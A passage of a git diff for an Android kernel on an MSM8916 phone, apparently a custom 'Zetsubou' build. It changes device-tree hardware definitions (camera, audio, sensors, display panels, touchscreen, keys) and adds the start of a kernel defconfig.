cam_vio-supply = <&pm8916_l6>; qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana"; - qcom,cam-vreg-min-voltage = <1200000 0 2850000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000>; + qcom,cam-vreg-type = <0 1 0>; + qcom,cam-vreg-min-voltage = <1800000 0 2850000>; + qcom,cam-vreg-max-voltage = <1800000 0 2850000>; qcom,cam-vreg-op-mode = <200000 0 80000>; pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; + pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default &camera_ldo_default>; + pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep &camera_ldo_suspend>; gpios = <&msm_gpio 27 0>, + <&msm_gpio 10 0>, <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 114 0>, - <&msm_gpio 110 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; + <&msm_gpio 33 0>; + qcom,gpio-vana = <1>; + qcom,gpio-reset = <2>; + qcom,gpio-standby = <3>; + qcom,gpio-req-tbl-num = <0 1 2 3>; + qcom,gpio-req-tbl-flags = <1 0 0 0>; qcom,gpio-req-tbl-label = "CAMIF_MCLK", + "CAM_VANA", "CAM_RESET", - "CAM_STANDBY", - "CAM_VDIG", - "CAM_VANA"; + "CAM_STANDBY"; qcom,sensor-position = <1>; qcom,sensor-mode = <0>; qcom,cci-master = <0>; @@ -153,4 +154,3 @@ }; }; - diff --git a/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dts b/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dts index 32cd316c78f61..83e4b8e06f9cc 100644 --- a/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dts +++ b/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dts @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -26,16 +26,16 @@ &soc { sound { - qcom,msm-hs-micbias-type = "external"; + qcom,msm-hs-micbias-type = "internal"; qcom,audio-routing = "RX_BIAS", "MCLK", "SPK_RX_BIAS", "MCLK", "INT_LDO_H", "MCLK", - "MIC BIAS External", "Handset Mic", - "MIC BIAS External2", "Headset Mic", - "MIC BIAS External", "Secondary Mic", - "AMIC1", "MIC BIAS External", - "AMIC2", "MIC BIAS External2", - "AMIC3", "MIC BIAS External"; + "MIC BIAS Internal1", "Handset Mic", + "MIC BIAS Internal2", "Headset Mic", + "MIC BIAS Internal3", "Secondary Mic", + "AMIC1", "MIC BIAS Internal1", + "AMIC2", "MIC BIAS Internal2", + "AMIC3", "MIC BIAS Internal3"; }; }; diff --git a/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dtsi b/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dtsi index 724e0b99560c4..b3d25b042b5bc 100644 --- a/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -11,34 +11,21 @@ */ #include "msm8916-qrd.dtsi" -#include "dsi-panel-innolux-720p-video.dtsi" +#include "dsi-panel-otm1287a-720p-video.dtsi" +#include "dsi-panel-nt35521-720p-dj-video.dtsi" #include "msm8916-camera-sensor-qrd.dtsi" &tlmm_pinmux { - akm_reset_pin { - qcom,pins = <&gp 36>; + qmc_reset_pin { + qcom,pins = <&gp 116>; qcom,pin-func = <0>; qcom,num-grp-pins = <1>; - label = "akm_reset_pin"; - akm_default: akm_default { + label = "qmc_reset_pin"; + qmc_default: qmc_default { drive-strength = <6>; bias-pull-up; }; - akm_sleep: akm_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - - lis3dh_int1_pin { - qcom,pins = <&gp 115>; - qcom,num-grp-pins = <1>; - label = "lis3dh_int_pin"; - lis3dh_int1_default: int1_default { - drive-strength = <6>; - bias-pull-down; - }; - lis3dh_int1_sleep: int1_sleep { + qmc_sleep: qmc_sleep { drive-strength = <2>; bias-pull-down; }; @@ -58,58 +45,18 @@ }; &i2c_0 { /* BLSP1 QUP2 */ - akm@c { - compatible = "ak,ak09911"; - reg = <0x0c>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <&akm_default>; - pinctrl-1 = <&akm_sleep>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - akm,layout = <0x3>; - akm,gpio_rstn = <&msm_gpio 36 0x0>; - akm,auto-report; - }; - - avago@39 { - compatible = "avago,apds9930"; - reg = <0x39>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <&apds99xx_default>; - pinctrl-1 = <&apds99xx_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - avago,irq-gpio = <&msm_gpio 113 0x2002>; - avago,ps-threshold = <600>; - avago,ps-hysteresis-threshold = <500>; - avago,ps-pulse = <8>; - avago,ps-pgain = <0>; - avago,als-B = <186>; - avago,als-C = <75>; - avago,als-D = <129>; - avago,ga-value = <313>; - }; - - st@18 { - compatible = "st,lis3dh"; + bosch@18 { /* Accelerometer sensor */ + compatible = "bosch,bma2x2"; reg = <0x18>; - pinctrl-names = "lis3dh_default","lis3dh_sleep"; - pinctrl-0 = <&lis3dh_int1_default>; - pinctrl-1 = <&lis3dh_int1_sleep>; + pinctrl-names = "default"; interrupt-parent = <&msm_gpio>; + interrupts = <112 0x2002>; vdd-supply = <&pm8916_l17>; - vddio-supply = <&pm8916_l6>; - st,min-interval = <5>; - st,init-interval = <200>; - st,axis-map-x = <0>; - st,axis-map-y = <1>; - st,axis-map-z = <2>; - st,g-range = <2>; - st,gpio-int1 = <&msm_gpio 115 0x2002>; - st,negate-x; - st,negate-y; + vio-supply = <&pm8916_l6>; + bosch,init-interval = <200>; + bosch,place = <0>; + bosch,gpio-int1 = <&msm_gpio 112 0x2002>; + bosch,gpio-int2 = <&msm_gpio 114 0x2002>; }; tps65132@3e { @@ -138,11 +85,28 @@ ti,discharge-enable; ti,enable-time = <800>; ti,current-limit = <40000>; - ti,en-gpio = <&msm_gpio 32 0>; }; }; }; + stk@48 { + compatible = "stk,stk3x1x"; + reg = <0x48>; + interrupt-parent = <&msm_gpio>; + interrupts = <94 0x2002>; + vdd-supply = <&pm8916_l17>; + vio-supply = <&pm8916_l6>; + stk,irq-gpio = <&msm_gpio 113 0x2002>; + stk,transmittance = <300>; + stk,state-reg = <0x00>; + stk,psctrl-reg = <0x31>; + stk,alsctrl-reg = <0x39>; + stk,ledctrl-reg = <0xBF>; + stk,wait-reg = <0x09>; + stk,ps-thdh = <100>; + stk,ps-thdl = <50>; + stk,use-fir; + }; }; &mdss_mdp { @@ -154,43 +118,42 @@ qcom,pins = <&gp 25>; }; +&dsi_otm1287a_720p_video { + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-pwm-gpio = <&pm8916_mpps 4 0>; +}; + &mdss_dsi0 { - qcom,dsi-pref-prim-pan = <&dsi_innolux_720p_video>; + qcom,dsi-pref-prim-pan = <&dsi_otm1287a_720p_video>; pinctrl-names = "mdss_default", "mdss_sleep"; pinctrl-0 = <&mdss_dsi_active>; pinctrl-1 = <&mdss_dsi_suspend>; - qcom,platform-reset-gpio = <&msm_gpio 25 0>; +}; +&dsi_otm1287a_720p_video { + qcom,cont-splash-enabled; + qcom,esd-check-disabled; +}; - vsp-supply = <&tps65132_pos>; - vsn-supply = <&tps65132_neg>; - qcom,panel-supply-entries { - #address-cells = <1>; - #size-cells = <0>; - - qcom,panel-supply-entry@2 { - reg = <2>; - qcom,supply-name = "vsp"; - qcom,supply-min-voltage = <5400000>; - qcom,supply-max-voltage = <5400000>; - qcom,supply-enable-load = <200>; - qcom,supply-disable-load = <0>; - }; - - qcom,panel-supply-entry@3 { - reg = <3>; - qcom,supply-name = "vsn"; - qcom,supply-min-voltage = <5400000>; - qcom,supply-max-voltage = <5400000>; - qcom,supply-enable-load = <40>; - qcom,supply-disable-load = <0>; - }; - }; +&dsi_nt35521_720p_dj_video { + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-pwm-gpio = <&pm8916_mpps 4 0>; }; -&dsi_innolux_720p_video { +&mdss_dsi0 { + qcom,dsi-pref-prim-pan = <&dsi_nt35521_720p_dj_video>; + pinctrl-names = "mdss_default", "mdss_sleep"; + pinctrl-0 = <&mdss_dsi_active>; + pinctrl-1 = <&mdss_dsi_suspend>; + qcom,platform-reset-gpio = <&msm_gpio 25 0>; +}; +&dsi_nt35521_720p_dj_video { qcom,cont-splash-enabled; - qcom,esd-check-enabled; + qcom,esd-check-disabled; }; &soc { @@ -205,7 +168,7 @@ pinctrl-0 = <&gpio_led_off>; red { - gpios = <&msm_gpio 8 0>; + gpios = <&msm_gpio 121 0>; label = "red"; linux,default-trigger = "none"; default-state = "off"; @@ -233,6 +196,7 @@ qcom,model = "msm8x16-skuh-snd-card"; qcom,msm-snd-card-id = <0>; qcom,msm-ext-pa = "primary"; + qcom,msm-mclk-freq = <9600000>; qcom,msm-codec-type = "internal"; qcom,msm-mbhc-hphl-swh = <1>; qcom,msm-mbhc-gnd-swh = <0>; @@ -274,46 +238,6 @@ asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; }; - - i2c@78b9000 { /* BLSP1 QUP5 */ - synaptics@70 { - compatible = "synaptics,rmi4"; - reg = <0x70>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; - vdd-supply = <&vdd_vreg>; - vcc_i2c-supply = <&pm8916_l16>; - /* pins used by touchscreen */ - pinctrl-names = "pmx_ts_active","pmx_ts_suspend","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - pinctrl-2 = <&ts_release>; - synaptics,display-coords = <0 0 1100 1756>; - synaptics,panel-coords = <0 0 1100 1899>; - synaptics,irq-gpio = <&msm_gpio 13 0x2008>; - synaptics,reset-gpio = <&msm_gpio 12 0x0>; - synaptics,i2c-pull-up; - synaptics,power-down; - synaptics,disable-gpios; - synaptics,fw-image-name = "PR1601177-s3207_8916_qrd_00430000.img"; - }; - }; - - vdd_vreg: vdd_vreg { - compatible = "regulator-fixed"; - status = "ok"; - regulator-name = "vdd_vreg"; - }; - - gen-vkeys { - compatible = "qcom,gen-vkeys"; - label = "synaptics_rmi4_i2c"; - qcom,disp-maxx = <720>; - qcom,disp-maxy = <1280>; - qcom,panel-maxx = <720>; - qcom,panel-maxy = <1385>; - qcom,key-codes = <158 172 139>; - }; }; &pm8916_vadc { @@ -343,7 +267,7 @@ qcom,rpull-up-kohm = <68>; qcom,vref-batt-therm = <1800000>; - #include "batterydata-qrd-skuh-4v35-2000mah.dtsi" + #include "batterydata-uni-L500C-4v35-2100mah.dtsi" }; }; @@ -363,4 +287,3 @@ qcom,vdd-current-level = <4000 400000>; }; - diff --git a/arch/arm/boot/dts/qcom/msm8916-qrd.dtsi b/arch/arm/boot/dts/qcom/msm8916-qrd.dtsi index 500b8391d1a5f..9269a2c342765 100644 --- a/arch/arm/boot/dts/qcom/msm8916-qrd.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-qrd.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -20,27 +20,79 @@ }; &soc { - i2c@78ba000 { /* BLSP1 QUP6 */ - nfc-nci@e { - compatible = "qcom,nfc-nci"; - reg = <0x0e>; - qcom,irq-gpio = <&msm_gpio 21 0x00>; - qcom,dis-gpio = <&msm_gpio 20 0x00>; - qcom,clk-src = "BBCLK2"; - qcom,clk-en-gpio = <&msm_gpio 0 0x00>; - interrupt-parent = <&msm_gpio>; - interrupts = <21 0>; - interrupt-names = "nfc_irq"; - pinctrl-names = "nfc_active","nfc_suspend"; - pinctrl-0 = <&nfc_int_active &nfc_disable_active>; - pinctrl-1 = <&nfc_int_suspend &nfc_disable_suspend>; - qcom,clk-gpio = <&pm8916_gpios 2 0>; - clocks = <&clock_rpm clk_bb_clk2_pin>; - clock-names = "ref_clk"; + tp_power: regulator-tp { + compatible = "regulator-fixed"; + regulator-name = "tp_power"; + regulator-min-microvolt = <2800000>; + regulator-max-microvolt = <2800000>; + gpio = <&msm_gpio 50 0x01>; + startup-delay-us = <20000>; + enable-active-high; + }; + + i2c@78b9000 { /* BLSP1 QUP5 */ + goodix@5d { + compatible = "goodix,gt9xx"; + reg = <0x5d>; + interrupt-parent = <&msm_gpio>; + interrupts = <13 0x2008>; + reset-gpios = <&msm_gpio 12 0x00>; + interrupt-gpios = <&msm_gpio 13 0x00>; + avdd-supply =<&tp_power>; + goodix,panel-coords = <0 0 720 1280>; + goodix,display-coords = <0 0 720 1280>; + goodix,have-touch-key; + goodix,button-map= <139 172 158>; + goodix,product-id = "9157"; + goodix,cfg-data0 = [ + 43 d0 02 00 05 05 35 d1 01 08 + 1e 0b 55 41 03 05 00 00 ff 7f + 00 00 00 16 16 20 14 8a 0a 0b + 30 00 b5 06 00 00 00 42 33 11 + 3c 01 15 00 00 00 00 08 15 00 + 2a 1e 50 94 c5 02 00 00 00 04 + b0 21 00 94 28 00 7d 31 00 6b + 3b 00 5d 48 00 5c 18 30 48 00 + f0 40 30 ff ff 27 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 19 00 00 + 46 32 16 14 12 10 0e 0c 0a 08 + 06 04 02 ff ff ff 1f ff ff ff + ff ff ff ff ff 00 00 00 00 00 + ff 00 02 13 04 12 06 10 08 0f + 0a 00 24 18 22 1c 21 1d 20 1e + 1f 16 ff ff ff ff ff ff 00 00 + 00 ff ff ff ff ff ff ff ff ff + 3f ff ff ff de 01]; +/* goodix,driver-send-cfg;*/ }; }; + vdd_vreg: vdd_vreg { + compatible = "regulator-fixed"; + status = "ok"; + regulator-name = "vdd_vreg"; + }; + gen-vkeys { + compatible = "qcom,gen-vkeys"; + label = "gt9xx"; + qcom,disp-maxx = <540>; + qcom,disp-maxy = <960>; + qcom,panel-maxx = <566>; + qcom,panel-maxy = <1067>; + qcom,key-codes = <139 172 158>; + qcom,y-offset = <0>; + }; + + gpio-leds { + compatible = "gpio-leds"; + keypad-backlight { + gpios = <&msm_gpio 49 0>; + label = "button-backlight"; + linux,default-trigger = "none"; + }; + }; }; &android_usb { @@ -74,6 +126,16 @@ gpio-key,wakeup; debounce-interval = <15>; }; + + vol_down { + label = "volume_down"; + gpios = <&msm_gpio 108 0x1>; + linux,input-type = <1>; + linux,code = <114>; + gpio-key,wakeup; + debounce-interval = <15>; + }; + }; }; @@ -94,7 +156,11 @@ gpio@c200 { /* GPIO 3 */ /* External regulator control for WTR */ - status = "disabled"; + qcom,mode = <0>; /* QPNP_PIN_MODE_DIG_IN */ + qcom,pull = <5>; /* QPNP_PIN_PULL_NO */ + qcom,vin-sel = <2>; /* QPNP_PIN_VIN2 */ + qcom,src-sel = <2>; /* QPNP_PIN_SEL_FUNC_1 */ + qcom,master-en = <0>; }; gpio@c300 { /* GPIO 4 */ @@ -135,18 +201,7 @@ pinctrl-names = "active", "sleep"; pinctrl-0 = <&sdc2_clk_on &sdc2_cmd_on &sdc2_data_on &sdc2_cd_on>; pinctrl-1 = <&sdc2_clk_off &sdc2_cmd_off &sdc2_data_off &sdc2_cd_off>; - - #address-cells = <0>; - interrupt-parent = <&sdhc_2>; - interrupts = <0 1 2>; - #interrupt-cells = <1>; - interrupt-map-mask = <0xffffffff>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0 - 2 &msm_gpio 38 0>; - interrupt-names = "hc_irq", "pwr_irq", "status_irq"; - cd-gpios = <&msm_gpio 38 0x0>; - + qcom,nonremovable; status = "ok"; }; diff --git a/arch/arm/configs/zetsubou_peach_defconfig b/arch/arm/configs/zetsubou_peach_defconfig new file mode 100644 index 0000000000000..00c72816de8cd --- /dev/null +++ b/arch/arm/configs/zetsubou_peach_defconfig @@ -0,0 +1,3819 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/arm 3.10.104 Kernel Configuration +# +CONFIG_ARM=y +CONFIG_ARM_HAS_SG_CHAIN=y +CONFIG_SYS_SUPPORTS_APM_EMULATION=y +CONFIG_HAVE_PROC_CPU=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_RWSEM_GENERIC_SPINLOCK=y +CONFIG_ARCH_HAS_CPUFREQ=y +CONFIG_GENERIC_HWEIGHT=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_WANT_KMAP_ATOMIC_FLUSH=y +CONFIG_VECTORS_BASE=0xffff0000 +CONFIG_ARM_PATCH_PHYS_VIRT=y +CONFIG_NEED_MACH_GPIO_H=y +CONFIG_NEED_MACH_IO_H=y +CONFIG_NEED_MACH_MEMORY_H=y +CONFIG_PHYS_OFFSET=0x80000000 +CONFIG_GENERIC_BUG=y +# CONFIG_ARCH_RANDOM is not set +CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_EXTABLE_SORT=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +CONFIG_CROSS_COMPILE="" +CONFIG_LOCALVERSION="-Zetsubou" +CONFIG_LOCALVERSION_AUTO=y +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +# CONFIG_KERNEL_GZIP is not set +# CONFIG_KERNEL_LZMA is not set +CONFIG_KERNEL_XZ=y +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +CONFIG_DEFAULT_HOSTNAME="(none)" +CONFIG_SWAP=y +# CONFIG_SYSVIPC is not set +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_FHANDLE is not set +CONFIG_AUDIT=y +CONFIG_AUDITSYSCALL=y +CONFIG_AUDIT_WATCH=y +CONFIG_AUDIT_TREE=y +# CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set + +# +# IRQ subsystem +# +CONFIG_MAY_HAVE_SPARSE_IRQ=y +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +# CONFIG_IRQ_DOMAIN_DEBUG is not set +CONFIG_SPARSE_IRQ=y +CONFIG_KTIME_SCALAR=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BUILD=y +CONFIG_ARCH_HAS_TICK_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +CONFIG_NO_HZ=y +CONFIG_HIGH_RES_TIMERS=y + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_BSD_PROCESS_ACCT is not set +# CONFIG_TASKSTATS is not set + +# +# RCU Subsystem +# +CONFIG_TREE_PREEMPT_RCU=y +CONFIG_PREEMPT_RCU=y +CONFIG_RCU_STALL_COMMON=y +# CONFIG_RCU_USER_QS is not set +CONFIG_RCU_FANOUT=32 +CONFIG_RCU_FANOUT_LEAF=16 +# CONFIG_RCU_FANOUT_EXACT is not set +CONFIG_RCU_FAST_NO_HZ=y +# CONFIG_TREE_RCU_TRACE is not set +# CONFIG_RCU_BOOST is not set +# CONFIG_RCU_NOCB_CPU is not set +CONFIG_IKCONFIG=y +# CONFIG_IKCONFIG_PROC is not set +CONFIG_LOG_BUF_SHIFT=17 +CONFIG_GENERIC_SCHED_CLOCK=y +CONFIG_CGROUPS=y +CONFIG_CGROUP_DEBUG=y +CONFIG_CGROUP_FREEZER=y +# CONFIG_CGROUP_DEVICE is not set +CONFIG_CPUSETS=y +CONFIG_PROC_PID_CPUSET=y +CONFIG_CGROUP_CPUACCT=y +CONFIG_RESOURCE_COUNTERS=y +# CONFIG_MEMCG is not set +# CONFIG_CGROUP_PERF is not set +CONFIG_CGROUP_SCHED=y +CONFIG_FAIR_GROUP_SCHED=y +# CONFIG_CFS_BANDWIDTH is not set +CONFIG_RT_GROUP_SCHED=y +# CONFIG_BLK_CGROUP is not set +CONFIG_SCHED_HMP=y +# CONFIG_CHECKPOINT_RESTORE is not set +CONFIG_NAMESPACES=y +# CONFIG_UTS_NS is not set +# CONFIG_USER_NS is not set +# CONFIG_PID_NS is not set +CONFIG_NET_NS=y +CONFIG_UIDGID_CONVERTED=y +# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +CONFIG_RELAY=y +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="" +CONFIG_RD_GZIP=y +CONFIG_RD_BZIP2=y +CONFIG_RD_LZMA=y +# CONFIG_RD_XZ is not set +# CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set +# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set +CONFIG_SYSCTL=y +CONFIG_ANON_INODES=y +CONFIG_HAVE_UID16=y +CONFIG_HOTPLUG=y +CONFIG_PANIC_TIMEOUT=5 +CONFIG_EXPERT=y +CONFIG_UID16=y +# CONFIG_SYSCTL_SYSCALL is not set +CONFIG_KALLSYMS=y +CONFIG_KALLSYMS_ALL=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_ELF_CORE=y +CONFIG_BASE_FULL=y +CONFIG_FUTEX=y +CONFIG_EPOLL=y +CONFIG_SIGNALFD=y +CONFIG_TIMERFD=y +CONFIG_EVENTFD=y +CONFIG_SHMEM=y +CONFIG_AIO=y +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +CONFIG_PERF_USE_VMALLOC=y + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +CONFIG_VM_EVENT_COUNTERS=y +# CONFIG_SLUB_DEBUG is not set +CONFIG_COMPAT_BRK=y +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_PROFILING=y +CONFIG_TRACEPOINTS=y +# CONFIG_OPROFILE is not set +CONFIG_HAVE_OPROFILE=y +CONFIG_JUMP_LABEL=y +# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_ATTRS=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_GENERIC_IDLE_POLL_SETUP=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_CLK=y +CONFIG_HAVE_DMA_API_DEBUG=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +CONFIG_SECCOMP_FILTER=y +CONFIG_HAVE_CC_STACKPROTECTOR=y +CONFIG_CC_STACKPROTECTOR=y +# CONFIG_CC_STACKPROTECTOR_NONE is not set +# CONFIG_CC_STACKPROTECTOR_REGULAR is not set +CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_REL=y +CONFIG_HAVE_ARCH_MMAP_RND_BITS=y +CONFIG_ARCH_MMAP_RND_BITS_MIN=8 +CONFIG_ARCH_MMAP_RND_BITS_MAX=16 +CONFIG_ARCH_MMAP_RND_BITS=16 +CONFIG_CLONE_BACKWARDS=y +CONFIG_OLD_SIGSUSPEND3=y +CONFIG_OLD_SIGACTION=y + +# +# GCOV-based kernel profiling +# +# CONFIG_GCOV_KERNEL is not set +CONFIG_HAVE_GENERIC_DMA_COHERENT=y +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 +# CONFIG_MODULES is not set +CONFIG_STOP_MACHINE=y +CONFIG_BLOCK=y +CONFIG_LBDAF=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_BLK_DEV_BSGLIB is not set +# CONFIG_BLK_DEV_INTEGRITY is not set + +# +# Partition Types +# +CONFIG_PARTITION_ADVANCED=y +# CONFIG_ACORN_PARTITION is not set +# CONFIG_OSF_PARTITION is not set +# CONFIG_AMIGA_PARTITION is not set +# CONFIG_ATARI_PARTITION is not set +# CONFIG_MAC_PARTITION is not set +CONFIG_MSDOS_PARTITION=y +# CONFIG_BSD_DISKLABEL is not set +# CONFIG_MINIX_SUBPARTITION is not set +# CONFIG_SOLARIS_X86_PARTITION is not set +# CONFIG_UNIXWARE_DISKLABEL is not set +# CONFIG_LDM_PARTITION is not set +# CONFIG_SGI_PARTITION is not set +# CONFIG_ULTRIX_PARTITION is not set +# CONFIG_SUN_PARTITION is not set +# CONFIG_KARMA_PARTITION is not set +CONFIG_EFI_PARTITION=y +# CONFIG_SYSV68_PARTITION is not set + +# +# IO Schedulers +# +CONFIG_IOSCHED_NOOP=y +# CONFIG_IOSCHED_TEST is not set +CONFIG_IOSCHED_DEADLINE=y +CONFIG_IOSCHED_ROW=y +CONFIG_IOSCHED_SIO=y +CONFIG_IOSCHED_ZEN=y +CONFIG_IOSCHED_CFQ=y +CONFIG_IOSCHED_BFQ=y +CONFIG_CGROUP_BFQIO=y +CONFIG_IOSCHED_FIOPS=y +# CONFIG_DEFAULT_DEADLINE is not set +# CONFIG_DEFAULT_ROW is not set +# CONFIG_DEFAULT_SIO is not set +# CONFIG_DEFAULT_CFQ is not set +# CONFIG_DEFAULT_BFQ is not set +# CONFIG_DEFAULT_FIOPS is not set +CONFIG_DEFAULT_NOOP=y +CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_ASN1=y +CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_FREEZER=y + +# +# System Type +# +CONFIG_MMU=y +# CONFIG_ARCH_MULTIPLATFORM is not set +# CONFIG_ARCH_INTEGRATOR is not set +# CONFIG_ARCH_REALVIEW is not set +# CONFIG_ARCH_VERSATILE is not set +# CONFIG_ARCH_AT91 is not set +# CONFIG_ARCH_CLPS711X is not set +# CONFIG_ARCH_GEMINI is not set +# CONFIG_ARCH_EBSA110 is not set +# CONFIG_ARCH_EP93XX is not set +# CONFIG_ARCH_FOOTBRIDGE is not set +# CONFIG_ARCH_NETX is not set +# CONFIG_ARCH_IOP13XX is not set +# CONFIG_ARCH_IOP32X is not set +# CONFIG_ARCH_IOP33X is not set +# CONFIG_ARCH_IXP4XX is not set +# CONFIG_ARCH_DOVE is not set +# CONFIG_ARCH_KIRKWOOD is not set +# CONFIG_ARCH_MV78XX0 is not set +# CONFIG_ARCH_ORION5X is not set +# CONFIG_ARCH_MMP is not set +# CONFIG_ARCH_KS8695 is not set +# CONFIG_ARCH_W90X900 is not set +# CONFIG_ARCH_LPC32XX is not set +# CONFIG_ARCH_PXA is not set +CONFIG_ARCH_MSM=y +# CONFIG_ARCH_SHMOBILE is not set +# CONFIG_ARCH_RPC is not set +# CONFIG_ARCH_SA1100 is not set +# CONFIG_ARCH_S3C24XX is not set +# CONFIG_ARCH_S3C64XX is not set +# CONFIG_ARCH_S5P64X0 is not set +# CONFIG_ARCH_S5PC100 is not set +# CONFIG_ARCH_S5PV210 is not set +# CONFIG_ARCH_EXYNOS is not set +# CONFIG_ARCH_SHARK is not set +# CONFIG_ARCH_U300 is not set +# CONFIG_ARCH_DAVINCI is not set +# CONFIG_ARCH_OMAP1 is not set +# CONFIG_GPIO_PCA953X is not set +# CONFIG_KEYBOARD_GPIO_POLLED is not set + +# +# MSM SoC Type +# +# CONFIG_ARCH_MSM8974 is not set +# CONFIG_ARCH_APQ8084 is not set +# 